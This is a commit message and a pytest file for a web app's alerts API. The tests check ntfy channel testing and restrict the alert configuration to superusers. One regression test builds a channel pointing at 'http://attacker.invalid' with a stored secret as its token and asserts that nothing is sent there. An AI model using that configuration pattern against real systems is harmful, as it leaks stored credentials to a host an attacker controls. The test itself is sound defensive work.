Any signed-in account could save an ntfy channel with its own `server` and a
`{"$secret": ...}` token and press Test, which sent the stored secret to that
host. The config GET/PUT, the test route and the global search's alert entries
now answer to superusers, like /secrets. The webpush key and subscribe routes
stay open to every account, and the Alerts page shows a non-superuser only the
button for its own browser. The events table in the docs gains run_finished.
143 lines
4.2 KiB
Python
143 lines
4.2 KiB
Python
"""The Test button: it exists to tell a working channel from a broken one."""
|
|
|
|
from typing import Any
|
|
|
|
import pytest
|
|
from fastapi.testclient import TestClient
|
|
|
|
from fluksio.core.config import settings
|
|
from fluksio.flow.alerts import AlertsConfig, Channel
|
|
|
|
PREFIX = f"{settings.API_V1_STR}/alerts"
|
|
|
|
|
|
def _one_channel(client: TestClient) -> Any:
|
|
alerts = client.app.state.flow_controller.alerts # type: ignore[attr-defined]
|
|
alerts.config = AlertsConfig(
|
|
channels=[Channel(name="phone", kind="ntfy", config={"topic": "t"})]
|
|
)
|
|
return alerts
|
|
|
|
|
|
def test_a_channel_that_cannot_deliver_is_not_a_success(
|
|
client: TestClient,
|
|
superuser_token_headers: dict[str, str],
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
) -> None:
|
|
alerts = _one_channel(client)
|
|
|
|
async def refuse(_config: dict[str, Any], _alert: Any) -> None:
|
|
raise RuntimeError("nobody home")
|
|
|
|
monkeypatch.setattr(alerts, "_send_ntfy", refuse)
|
|
|
|
response = client.post(f"{PREFIX}/test/phone", headers=superuser_token_headers)
|
|
|
|
assert response.status_code == 502
|
|
assert "nobody home" in response.json()["detail"]
|
|
|
|
|
|
def test_a_channel_that_delivers_says_so(
|
|
client: TestClient,
|
|
superuser_token_headers: dict[str, str],
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
) -> None:
|
|
alerts = _one_channel(client)
|
|
sent = []
|
|
|
|
async def accept(_config: dict[str, Any], alert: Any) -> None:
|
|
sent.append(alert)
|
|
|
|
monkeypatch.setattr(alerts, "_send_ntfy", accept)
|
|
|
|
response = client.post(f"{PREFIX}/test/phone", headers=superuser_token_headers)
|
|
|
|
assert response.status_code == 200
|
|
assert len(sent) == 1
|
|
|
|
|
|
def test_an_unknown_channel_is_a_404(
|
|
client: TestClient, superuser_token_headers: dict[str, str]
|
|
) -> None:
|
|
_one_channel(client)
|
|
|
|
response = client.post(f"{PREFIX}/test/nowhere", headers=superuser_token_headers)
|
|
|
|
assert response.status_code == 404
|
|
|
|
|
|
def test_an_ordinary_account_cannot_read_or_change_the_alert_setup(
|
|
client: TestClient, normal_user_token_headers: dict[str, str]
|
|
) -> None:
|
|
"""Channels hold credential references, topics and urls: a superuser's."""
|
|
config = {"channels": [], "rules": []}
|
|
|
|
assert (
|
|
client.get(f"{PREFIX}/config", headers=normal_user_token_headers).status_code
|
|
== 403
|
|
)
|
|
assert (
|
|
client.put(
|
|
f"{PREFIX}/config", headers=normal_user_token_headers, json=config
|
|
).status_code
|
|
== 403
|
|
)
|
|
assert (
|
|
client.post(
|
|
f"{PREFIX}/test/phone", headers=normal_user_token_headers
|
|
).status_code
|
|
== 403
|
|
)
|
|
|
|
|
|
def test_a_stored_secret_cannot_be_pointed_at_a_host_an_ordinary_account_chose(
|
|
client: TestClient,
|
|
superuser_token_headers: dict[str, str],
|
|
normal_user_token_headers: dict[str, str],
|
|
monkeypatch: pytest.MonkeyPatch,
|
|
) -> None:
|
|
"""An ntfy `server` plus a `$secret` token used to send the secret there."""
|
|
import httpx
|
|
|
|
client.put(
|
|
f"{settings.API_V1_STR}/secrets/vault-token",
|
|
headers=superuser_token_headers,
|
|
json={"value": "S3CRET"},
|
|
)
|
|
reached: list[str] = []
|
|
|
|
async def post(_self: Any, url: Any, **_kwargs: Any) -> httpx.Response:
|
|
reached.append(str(url))
|
|
return httpx.Response(200, request=httpx.Request("POST", url))
|
|
|
|
monkeypatch.setattr(httpx.AsyncClient, "post", post)
|
|
config = {
|
|
"channels": [
|
|
{
|
|
"name": "x",
|
|
"kind": "ntfy",
|
|
"config": {
|
|
"server": "http://attacker.invalid",
|
|
"topic": "t",
|
|
"token": {"$secret": "vault-token"},
|
|
},
|
|
}
|
|
],
|
|
"rules": [],
|
|
}
|
|
|
|
client.put(f"{PREFIX}/config", headers=normal_user_token_headers, json=config)
|
|
client.post(f"{PREFIX}/test/x", headers=normal_user_token_headers)
|
|
|
|
assert reached == []
|
|
|
|
|
|
def test_any_account_can_subscribe_its_own_browser(
|
|
client: TestClient, normal_user_token_headers: dict[str, str]
|
|
) -> None:
|
|
"""Where this device can be reached is not a superuser's to hold."""
|
|
response = client.get(f"{PREFIX}/webpush/key", headers=normal_user_token_headers)
|
|
|
|
assert response.status_code == 200
|
|
assert response.json()["key"]
|